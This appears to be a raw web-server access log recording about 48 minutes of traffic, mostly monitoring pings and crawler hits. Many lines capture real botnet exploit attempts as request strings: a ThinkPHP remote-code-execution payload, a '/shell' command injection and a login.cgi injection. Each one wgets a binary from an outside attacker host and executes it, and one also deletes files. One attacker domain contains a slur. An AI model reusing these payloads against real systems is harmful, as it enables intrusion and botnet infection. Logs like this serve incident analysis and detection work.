1.162.221.151 - - [12/Feb/2020:22:50:55 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:22:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.255.4 - - [12/Feb/2020:22:52:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [12/Feb/2020:22:52:17 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:22:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:22:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.255.4 - - [12/Feb/2020:22:55:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [12/Feb/2020:22:56:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:56:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [12/Feb/2020:22:56:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:22:56:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
167.71.182.143 - - [12/Feb/2020:22:57:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [12/Feb/2020:22:57:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:22:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.241.173.135 - - [12/Feb/2020:22:58:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:22:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [12/Feb/2020:22:58:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:22:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.43.43.197 - - [12/Feb/2020:23:01:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:23:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.85 - - [12/Feb/2020:23:02:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.5.201 - - [12/Feb/2020:23:02:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:23:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.252.90.228 - - [12/Feb/2020:23:03:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:23:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.239.119.150 - - [12/Feb/2020:23:04:19 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:23:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.133.106.132 - - [12/Feb/2020:23:08:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:23:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [12/Feb/2020:23:12:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:23:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.229.240.129 - - [12/Feb/2020:23:13:52 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:53 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:53 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:53 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:54 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:54 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:55 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:55 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.229.240.129 - - [12/Feb/2020:23:13:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.0.196.128 - - [12/Feb/2020:23:14:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:23:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.206 - - [12/Feb/2020:23:15:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:23:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.141.49.53 - - [12/Feb/2020:23:16:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:23:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:23:18:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:23:18:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:23:18:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:23:18:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:23:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:23:19:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:23:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.127.157 - - [12/Feb/2020:23:20:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.137.206.153 - - [12/Feb/2020:23:20:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:23:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.164.108.218 - - [12/Feb/2020:23:22:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:23:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.2.232 - - [12/Feb/2020:23:22:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:23:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:23:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
198.16.59.82 - - [12/Feb/2020:23:29:31 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
198.16.59.82 - - [12/Feb/2020:23:29:37 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:23:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:30:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
198.16.59.82 - - [12/Feb/2020:23:30:16 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
198.16.59.82 - - [12/Feb/2020:23:30:23 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
198.16.59.82 - - [12/Feb/2020:23:30:29 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
198.16.59.82 - - [12/Feb/2020:23:30:36 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:23:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.100.137.76 - - [12/Feb/2020:23:31:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.16.59.82 - - [12/Feb/2020:23:31:09 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
198.16.59.82 - - [12/Feb/2020:23:31:42 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:23:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:32:16 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:23:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:32:51 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
46.119.160.50 - - [12/Feb/2020:23:32:52 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:23:32:52 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:23:32:53 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
198.16.59.82 - - [12/Feb/2020:23:33:26 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:23:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:34:00 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
89.137.176.222 - - [12/Feb/2020:23:34:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.49.48 - - [12/Feb/2020:23:34:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.16.59.82 - - [12/Feb/2020:23:34:22 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
198.16.59.82 - - [12/Feb/2020:23:34:40 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:34:52 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:35:05 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:35:18 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:35:31 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:35:44 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:35:56 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:36:08 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:36:20 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:36:32 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:36:45 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:36:58 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:37:11 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:37:24 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:37:38 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:37:51 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:38:04 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:38:17 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:38:29 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
198.16.59.82 - - [12/Feb/2020:23:38:41 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:23:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.16.59.82 - - [12/Feb/2020:23:38:53 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
